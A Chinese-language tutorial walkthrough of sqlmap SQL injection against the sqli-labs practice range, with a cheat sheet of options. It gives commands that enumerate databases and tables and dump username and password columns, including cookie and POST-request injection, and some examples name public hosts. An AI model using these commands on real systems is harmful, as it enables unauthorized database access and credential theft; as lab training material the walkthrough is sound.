渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇_sqlmap靶场

id=1” 默认使用level1检测全部数据库类型 sqlmap -u “id=1”--dbms mysql --level 3 指定数据库类型为mysql，级别为3（共5级，级别越高，检测越全面）跟随302sqlmap --follow-redirect -u当注入页面错误的时候，自动跳转到另一个页面的时候需要跟随302，当注入错误的时候，先报错再跳转的时候，不需要跟随302。目的就是：要追踪

sfdsfgdgd

926人浏览 · 2024-04-09 12:36:58

sfdsfgdgd · 2024-04-09 12:36:58 发布

-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
–proxy=http://127.0.0.1:8080 -D security --tables

发现SQLMAP不仅给出了有哪些表,还给出了目标服务器的web信息:

获取数据表中的字段名:

使用的参数为 -D 数据库名 -T 表名 --columns

这里我们使用security中的users表:

\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
–proxy=http://127.0.0.1:8080 -D security -T users --columns

获取数据表中的字段数据

使用的参数为 -D 数据库名 -T 表名 -C “字段名1,字段名2…” --dump

\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
–proxy=http://127.0.0.1:8080
-D security -T users -C “id,username,password” --dump

以上只是SQLMAP最为基本的用法,下面我们来总结并拓展SQLMAP的更多用法：

渗透测试—手把手教你sqlmap数据库注入测试(2)—用法汇总篇—用法汇总篇")

SQLMAP用法的总结与拓展:

基本的检测方式:


基本格式:	sqlmap -u “http://www.vuln.cn/post.php?id=1” 默认使用level1检测全部数据库类型 sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql --level 3 指定数据库类型为mysql，级别为3（共5级，级别越高，检测越全面）
跟随302跳转:	sqlmap --follow-redirect -u <target_url> 当注入页面错误的时候，自动跳转到另一个页面的时候需要跟随302，当注入错误的时候，先报错再跳转的时候，不需要跟随302。目的就是：要追踪到错误信息。
cookie注入:	当程序有防get注入的时候，可以使用cookie注入 sqlmap -u “http://www.baidu.com/shownews.asp” --cookie “id=11” --level 2（只有level达到2才会检测cookie）
从post数据包中注入:	可以使用burpsuite来抓取post包 sqlmap -r “c:\tools\request.txt” -p “username” --dbms mysql 需指定username参数 -r参数指定请求包所在的路径(就是POST请求包)

拓展:SQLMAP的-u参数与-r参数

-u参数后面接的是URL,一般用于扫描GET请求

-r参数后面接的是保存有HTTP请求的txt文件,用于扫描POST请求:

例如sqli-labs-master靶场的less-11,这一关就是使用的POST请求,注入点在POST表单中,不能使用-r URL的形式进行扫描,需要我们将整个POST请求复制下来并保存在一个txt文件中:(这个txt文件最好放在与sqlmap.py同级目录中,方便指定路径)

在终端中使用python sqlmap.py -r 1.txt --dbs查询有哪些数据库

PS D:\123pan\Downloads\W14—SQL注入5—23.7.25\sqlmap-master\sqlmap-master> python sqlmap.py -r 1.txt --dbs

H
___ [.]__ ___ ___ {1.7.5#stable}
|_ -| . [,] | .'| . |
|| [']|||__,| |
||V… || https://sqlmap.org

获取数据库基本信息:


查询有哪些数据库	-r XX.txt --dbs (-r指定POST请求所在的路径)
查询security数据库中有哪些表	-r XX.txt -D security --tables
查询security数据库中users表有哪些字段 security.users	-r XX.txt -D security -T users --columns
dump出字段username与password中的数据	-r XX.txt -D security -T users -C “username,password” --dump